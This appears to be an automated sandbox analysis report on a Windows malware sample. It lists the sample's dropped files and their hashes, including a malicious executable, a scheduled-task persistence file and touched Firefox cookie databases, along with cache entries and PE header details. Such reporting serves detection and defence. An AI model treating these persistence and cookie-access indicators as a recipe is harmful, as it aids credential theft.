.F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 11 17:52:05 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.997353005891853
Encrypted:	false
SSDEEP:	48:80d3TvnqHNidAKZdA1vehDiZUkwqehCy+R:8A7Ncy
MD5:	04CF4CD3142FE258B52D16D375450DC0
SHA1:	1E9D24AC7D3A154CC33FA51DB791F8BCAA86CC78
SHA-256:	F4C1F6FC372511E9A5FCBD40BADBE9B780FDFCC6DD3EEABE2C4A2D620081CC18
SHA-512:	45F8F6EC7C41E5F924C4A69A8B2D4B9C44BE98708086D0ABBEE468187247FBC5E5D0354B2FCD7F84469C7AED06DE94DB6E8A273B139B8E758B1E09EBA46D996E
Malicious:	false
Preview:	L..................F.@.. ...$+.,........j4..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IkY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VkY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VkY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VkY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VkY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 11 17:52:05 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.985963593947094
Encrypted:	false
SSDEEP:	48:8Jd3TvnqHNidAKZdA1hehBiZUk1W1qehIy+C:8b7N9oy
MD5:	6533534F78FFDD81872FAE7381721ABC
SHA1:	3097470CAAE35AB65BFD858DEBC43699BEA72B62
SHA-256:	EB1337EF3BBD11CFAE0851CAA2244648B2B3C5EA5B14F20AADF53410AB43ED8B
SHA-512:	456B4188EB691A769409CC3B221E0C20BB888925C2BF406A19CC0EB36E5AC807B9D48EAF8771863362AC33C545521D90589B83E48AB4C6B5228ABE3A0B133CFD
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....!..j4..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IkY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VkY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VkY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VkY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VkY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 11 17:52:05 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.995585949610133
Encrypted:	false
SSDEEP:	48:8Yd3TvnqHNidAKZdA1duT+ehOuTbbiZUk5OjqehOuTb6y+yT+:8c7RT/TbxWOvTb6y7T
MD5:	8F764DE0CA0A9F2760AAECB315A98930
SHA1:	78C24434510957024D1F1ADC2C296FAE7CC79B82
SHA-256:	1A23D2FE5BCE4DCCACD6766F19785B081CC6E8FEE3B61699FB19DDAF9E39653E
SHA-512:	4A1E470051CBB8993D24CAFBC9730452057B282B9FC9CCB3DFB176387100C8D1F80A23945DE7F6128D380744902D3E6BA58E3EFF2B65630F678789631C4D4EC2
Malicious:	false
Preview:	L..................F.@.. ...$+.,....P...j4..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IkY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VkY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VkY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VkY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VkY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsAKKEGHJDHD.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3202560
Entropy (8bit):	6.65701070141192
Encrypted:	false
SSDEEP:	49152:kAvk17XSf4G5GWOZ5bHdCXAiCc5lxOA/aRfukSkRYZEz12czBXt:kGkWOZ5b9Cnz5bOA/aRWBkRY+5f
MD5:	AAB4852D22A50164C2F6402A82A446BD
SHA1:	AE7B85820FA5DCC0656780EB8C90B05B80770517
SHA-256:	A80388F0FE5C1C386D1F2A902C358954B49CFF23A770AA40FE3F9F9B19DE3FBB
SHA-512:	18450C1459AC183B178EC50BDF0C06C6D3F5BFA46237CE63039EFD7139A71EFEB1BCC5C2EECA20036B42958C29FDEE5F4AEBB51181CA7ED098FFDAA37B786C1E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@.......................... 1.....601...@.................................W...k.............................0.............................t.0..................................................... . ............................@....rsrc...............................@....idata ............................@...ksryljpw.0......$.................@...jsxaufct......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsAKKEGHJDHD.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4196376856720923
Encrypted:	false
SSDEEP:	6:1wOX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lBCt0:17uQ1CGAFifXVBCt0
MD5:	F6BF1D1566FFAF50AB14A4A78A787D73
SHA1:	86219FFEDEEF99B95F477344702850A3B3E23637
SHA-256:	3FD442CE0F1294DC33BB7A8C21CD910C3BA2FE8574619DB9962538A7CDDABCB8
SHA-512:	5496D1BDE1541779F8EDC3627F215F36D312B8A8255ADF1C00A0ADEBE939C5C9CACE6B6BBA301D2C436C2CA71C14D94055CCEFCE7F0DB7B4BA0C7D74BAC5B129
Malicious:	false
Preview:	....+. R.d.O..H...x.F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0.................5.@3P.........................

Chrome Cache Entry: 483

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2557)
Category:	downloaded
Size (bytes):	2562
Entropy (8bit):	5.843816566785361
Encrypted:	false
SSDEEP:	48:l1DTKlgZ01ioTIbx6666VuW/l9tVSrWBzBeiY/ZinsBPyHJYCBv9ktFdEuSEqmQI:/Sli6IN6666VT9Ro+shtU9mtQffffo
MD5:	2BF1C5333B261A4C59ADD0EFBA8AC094
SHA1:	45FB9A6CA3DB99945FC8B0152B5AEE0029B06BBA
SHA-256:	B0838C7DD53A673497DBA3744912E61CFF2C82B51AB09FF633B2CA54F6AA2F22
SHA-512:	D9F7D3997CC61BC2A42AD456C4AB90C52CBEF42031F401A40755C1B606E41E73A3DFBEA0125703F6D7757C43F474370C8E1033F6E97DFFC47FFFAEB3614DFFF7
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["ps5 pro games","the edmund fitzgerald wreck","deadpool and wolverine streaming date","bryce underwood michigan","cardano ada price","spacex launches cape canaveral","outer banks jj death reddit","costco butter recalled"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"google:entityinfo":"CgwvZy8xczA1c3Y1ZnQSGFNvbmcgYnkgR29yZG9uIExpZ2h0Zm9vdDLzCGRhdGE6aW1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRQUFBUUFCQUFELzJ3Q0VBQWtHQndnSEJna0lCd2dLQ2drTERSWVBEUXdNRFJzVUZSQVdJQjBpSWlBZEh4OGtLRFFzSkNZeEp4OGZMVDB0TVRVM09qbzZJeXMvUkQ4NFF6UTVPamNCQ2dvS0RRd05HZzhQR2pjbEh5VTNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTi8vQUFCRUlBRUFBUUFNQklnQUNFUUVERVFIL3hBQWJBQUFDQXdFQkFRQUFBQUFBQUFBQUFBQUZCd0FFQmdNQ0FmL0VBREVRQUFFREF3SURCUVlIQUFBQUFBQUFBQUVBQWdNRUVTRVNNUVZCY1JNaWtiSEJGRE5SWVdLQkJrS1NvYUt5NGYvRUFCZ0JBQU1CQVFBQUFBQUFBQUFBQ

Chrome Cache Entry: 484

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 485

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	174097
Entropy (8bit):	5.554845848492248
Encrypted:	false
SSDEEP:	3072:49GysOAIZQy3ZZb6L5BfizRURkgq3ocEs7BB19HDKDSfEISlCMDyQhnF/VU9cpar:49G3IZP3ZZmHfiz+R7q3ocV7BB19HDKq
MD5:	292ACC11525E24B0501DEAC4EB7B61D4
SHA1:	4840E1B06489D1210E25C620AC0E4DEA33F4A574
SHA-256:	A5CB759FC6BF64DD1E35731C88899928B098A359EFF9CA5B34B91F23ADE02C2B
SHA-512:	FBDB4B2B4B647F734B6E05D0495CE1135E9536D611BC567A3B47353FEC986B92412153C214EFE776BC6391239076B3DA6B79851C8BE036C00E4AD026F88CC683
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.ciOLm-Jy21Y.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTvi2-a6fPowp_OrDQczHs8e8wA2zQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.ej=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var fj,gj,ij,lj,oj,nj,hj,mj;fj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};gj=function(){_.Ka()};ij=function(){hj===void 0&&(hj=typeof WeakMap==="function"?fj(WeakMap):null);return hj};lj=function(a,b){(_.jj\|\|(_.jj=new hj)).set(a,b);(_.kj\|\|(_.kj=new hj)).set(b,a)};.oj=function(a){if(mj===void 0){const b=new nj([],{});mj=Array.prototype.concat.call([],b).length===1}mj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.pj=function(a,b,c){a=_.zb(a,b,c);return Array.isArray(a)?a:_.Kc};_.qj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.rj=function(a,b){a===0&&(a=_.qj(a,b));return a\|1};_.sj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.tj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.xj=function(a,b,c,d,e,f,g){const h=a.ha;var k=!!(2&b);e=k?1:e;

Chrome Cache Entry: 486

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133690
Entropy (8bit):	5.4328233457641995
Encrypted:	false
SSDEEP:	1536:i7C/VNgX7Yp+GhGLhJgJoamyeX43zGiJsKtPLx8OF97f4qlghCFlOve2dzAcJ82O:fa7vhSJjxeX431PBLx8OF9jpYsci2i6o
MD5:	BF677B6F49A9B9D7622AF5644CC76D2C
SHA1:	388F4E71785E7C78BE18DFCB7600AC48D3482A27
SHA-256:	CFCA288A075EA0B0967B5B5F429978BEB1CC021D6CA27986FA566808FBF37335
SHA-512:	840A04FBA89FF34F601234CD497FE3C0C739B41D58E614AA0A0A21586A612AB8CEC303F15E94AE1840E3100E779215A0DBC835FB1D96B4B248EECCD29B8A4522
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 487

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 488

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.gyN29IQRsEA.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTthb_7uL8fi0CBKDba3xi6R0PUU9w"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 489

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945741026512046
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'810'944 bytes
MD5:	7f588fe16ce0b9ae1671cd6db5ce4380
SHA1:	bca4dc7424985793487d16004e033f3ae92f4d6f
SHA256:	4fcb7be72c4f45199bf2d28b95c8f709b343efb27ae10eb76bbb2b4d43905638
SHA512:	7f1834eb9fbc50696432472720e4229b4eb927a4b12741795e82685086c314db8750c11e7f8c3b7821cd7a246ac46210a4edec7f5e17f64efd5b0d77662b63aa
SSDEEP:	49152:0n0/03UD+xtY74vObp8bMc3bf/lWa584AiT:0n0nDCY74DMcrfdh8ET
TLSH:	8F85333B7E795F92F94FAB74CED2F941263AB4CC01394DC12088AF3A448BB8A4D54E54
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa9b000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F28610E15EAh
jo 00007F28610E1601h
add byte ptr [eax], al
jmp 00007F28610E35E5h
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
